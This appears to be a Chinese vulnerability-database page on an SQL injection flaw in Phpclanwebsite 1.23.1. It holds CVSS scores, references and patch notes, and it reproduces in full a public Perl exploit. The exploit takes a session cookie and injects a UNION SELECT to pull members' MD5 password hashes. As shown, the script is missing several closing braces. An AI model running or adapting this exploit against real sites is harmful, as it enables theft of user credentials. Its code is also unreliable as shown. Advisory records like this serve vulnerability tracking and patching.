发布时间 :2006-01-26 17:03:00
修订时间 :2011-03-07 21:30:03

[原文]SQL injection vulnerability in index.php in Phpclanwebsite (aka PCW) 1.23.1 allows remote attackers to execute arbitrary SQL commands via the (1) par parameter in the post function on the forum page and possibly the (2) poll_id parameter on the poll page. NOTE: the poll_id vector can also allow resultant cross-site scripting (XSS) from an unquoted error message for invalid SQL syntax.

[CNNVD]Phpclanwebsite 存在SQL注入漏洞(CNNVD-200601-349)


- CVSS (基础分值)

CVSS分值: 6.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(PATCH)  BID  16391
(UNKNOWN)  VUPEN  ADV-2006-0342
(VENDOR_ADVISORY)  BUGTRAQ  20060125 HYSA-2006-002 Phpclanwebsite 1.23.1 Multiple Vulnerabilities
(UNKNOWN)  XF  phpclanwebsite-index-sql-injection(24355)

- 漏洞信息

Phpclanwebsite 存在SQL注入漏洞
中危 跨站脚本
2006-01-26 00:00:00 2006-03-15 00:00:00

- 公告与补丁

        Phpclanwebsite Phpclanwebsite 1.23.1
        Phpclanwebsite Phpclanwebsite_1231_fix.rar

- 漏洞信息 (1453)

Phpclanwebsite 1.23.1 (par) Remote SQL Injection Exploit (EDBID:1453)
php webapps
2006-01-25 Verified
0 matrix_killer
N/A [点击下载]
#Phpclanwebsite 1.23.1 SQL injection exploit by matrix_killer
#Greets to all omega-team members[and specially to EcLiPsE] and also to h4cky0u[], Alpha-Fan, Chameleon and all my friends
#The exploit was tested on phpclan's website and it worked + my local server and on
#But on versions below 1.23.1 it doesn't seem to work

use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
$topic = $ARGV[2];
$id = $ARGV[3];

if (@ARGV < 4) {
  print "---------------------------------------------------------\n";
  print "-- Phpclanwebsite 1.23.1 SQL Injection sploit --\n";
  print "-- (C)oded by matrix_killer --\n";
  print "-- Contact: matrix_k\ || matrix_killer\ --\n";
  print "-- Usage: $0 [host] [path] [topic] [id] --\n";
  print "-- Ex: $0 cws 2 2 --\n";
  print "---------------------------------------------------------\n";
$sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";

print $sock "GET /$path/index.php?page=forum&func=post&par=$topic HTTP/1.1\n";
print $sock "User-Agent: Mozilla/4.0\n";
print $sock "Host: $host\n\n";
while ($asd = <$sock>) {
        if ($asd =~ /Set-Cookie:/gi) {
             $asd =~ /cuser_id=([a-zA-Z0-9]{32})/;
             $cookie = $1;

$socket = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";
print "-- Connection Established --\n";

print $socket "GET /$path/index.php?page=forum&func=post&par=$topic%20UNION%20SELECT%20null,null,null,null,null,null,password,null%20FROM%20cws_members%20WHERE%20member_id=$id/* HTTP/1.0\n";
print $socket "User-Agent: Mozilla/4.0\n";
print $socket "Host: $host\n";
print $socket "Cookie: cuser_id=$cookie; chitcounter=hitcounter\n\n";
print "-- Waiting... --\n";

while($ans = <$socket>) {
       if ($ans =~ /([a-zA-Z0-9]{32})/){
            if ($ans =~ /cookie/i) {
            print "\nmember id: $id \n";
            print "md5 hash: $1 \n";
print "Sorry there s33ms to be a problem\n";

# [2006-01-25]

- 漏洞信息

Phpclanwebsite index.php par Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Phpclanwebsite contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the index.php script not properly sanitizing user-supplied input to the "par" variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-01-25 Unknow
2006-01-25 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Phpclanwebsite has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者